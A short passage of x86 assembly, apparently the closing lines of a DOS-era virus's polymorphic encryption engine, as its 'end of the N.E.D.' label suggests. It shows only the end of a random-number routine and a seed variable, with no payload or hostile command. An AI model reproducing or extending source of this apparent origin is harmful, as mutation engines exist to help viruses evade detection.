- xchg dx,ax ; AX holds final value
-
- pop cx ; Restore CX
- pop dx ; Restore DX
- ret ; Return to caller
-
- _rand_val dw 0 ; Seed for generator
- rand_num endp
-
- ned_end label near ; The end of the N.E.D.
-
- end